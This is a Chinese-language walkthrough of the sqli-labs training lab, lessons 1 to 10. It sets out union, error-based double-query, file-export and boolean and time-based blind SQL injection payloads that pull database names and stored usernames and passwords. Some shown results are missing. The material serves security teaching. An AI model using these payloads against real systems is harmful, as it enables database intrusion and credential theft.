less 1 字符型注入
尝试?id=1
添加单引号 ?id=1’
报错 猜测id 有引号包括
尝试永真
永假
确认有sql注入漏洞 搜索语句约为
SELECT * FROM users WHERE id=’$id’ LIMIT 0,1
用 order by 来判断几列 用–+注释掉后面的句子
得知3列
无返回 ,查看代码得知
mysql_fetch_array()只返回搜索结果的一行
将id 值为0 或负数 使得前面的搜索结果为空,使得后面的结果能显示
查询数据库名 ,当前用户,版本
?id=0' union select 1,2,concat_ws(char(32,58,32),user(),database(),version())--+
查询所有表名
?id=0' union select 1,2,GROUP_CONCAT(table_name) from information_schema.`TABLES` where table_schema ='security';--+
查询字段
?id=0' union select 1,2,GROUP_CONCAT(column_name) from information_schema.columns where table_name ='users' and table_schema='security'--+
全列出来
?id=0' union select 1,2,group_concat(concat_ws(char(32,58,32),id,username,password)) from users --+
less 2 整形注入
加单引号
’ LIMIT 0,1
’ LIMIT 0,1 说明id 为整型数 无引号包围
直接用less1的 payload 删去单引号
?id=0 union select 1,2,group_concat(concat_ws(char(32,58,32),id,username,password)) from users --+
less 3 字符型 with twist
?id=1 正常
加上单引号
‘1’’) LIMIT 0,1 说明 id 有引号和括号包围 (‘id’)
加上 后括号 ) 完成闭环
所以payload是
?id=0') union select 1,2,group_concat(concat_ws(char(32,58,32),id,username,password)) from users --+
less 4 双引号字符型
?id=1 正常
加上单引号无变化
改为双引号
“1"”) LIMIT 0,1
加括号完成闭环
所以payload为
?id=0") union select 1,2,group_concat(concat_ws(char(32,58,32),id,username,password)) from users --+
less 5 双查询单引号字符型
这里需要通过令mysql报错来返回关键信息
语法是这样的
select 1,count(*),concat_ws('-',(select ××××),floor(rand()*2)) as a from information_schema.tables group by a--+
原理简而言之,在一个聚合函数,例如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。
并且这个bug有时可以运行,有时不可以,多刷新几次就可以了
参考https://bugs.mysql.com/bug.php?id=32249
https://www.jianshu.com/p/8a38d2371b9c
https://blog.csdn.net/qq_35544379/article/details/77453019
得到数据库名
将×××部分换成
group_concat(table_name) from information_schema.tables where table_schema=‘security’
得到四个表名
换成group_concat(column_name) from information_schema.columns where table_name=‘users’
得到三个字段 id username password
payload为
localhost/sqli-labs/Less-5/
?id=-1' union select 1,count(*),concat_ws('-',(select concat_ws('-',id,username,password) from users limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a--+
得到
这里只能查询一行,所以不能用group_concat(),可以修改limit的范围来遍历用户信息。
less 6 双查询双引号字符型
一模一样
只需将单引号改为双引号即可
less 7 导出文件
首先使用 单引号 双引号 括号 双括号测试永真永假式 来判断id的包括符号
得出id 是这样的 ((‘id’))
题目提示使用outfile函数 功能是将mysql导出为文件,格式为
SELECT [列名] FROM table [WHERE语句] INTO OUTFILE ‘目标文件’ [OPTION];
用 and (select count(*) from mysql.user)>0 判断是否有权限导出
有权限导出
在mysql的配置文件my.ini 里 添加secure_file_priv=
即导出路径为任意 。查询mysql命令行验证
修改成功
查询数据库
得到
进而得到表名 user
进一步 导出所有id username password
less 8 布尔型单引号盲注
id 为单引号包围
布尔型只有0和1之分,利用ASCII码猜测数据库名
ascii码在100到130之间,利用二分法更快的找到
ascii码为115,即s
依次盲注,手动效率较低,可以写脚本或利用burp爆破
less 9 基于时间的单引号盲注
利用sleep()函数
http://localhost/sqli-labs/Less-9/
?id=1' and if(ascii(substr((select database()),1,1))=115,0,sleep(5)) --+
若正确直接返回,错误则延迟5秒
http://localhost/sqli-labs/Less-9/
?id=1' and if(ascii(substr((select database()),2,1))=101,0,sleep(5)) --+
前两位为se依次得到数据库名为security
less 10 基于时间的双引号盲注
和less9没区别 单引号改双引号即可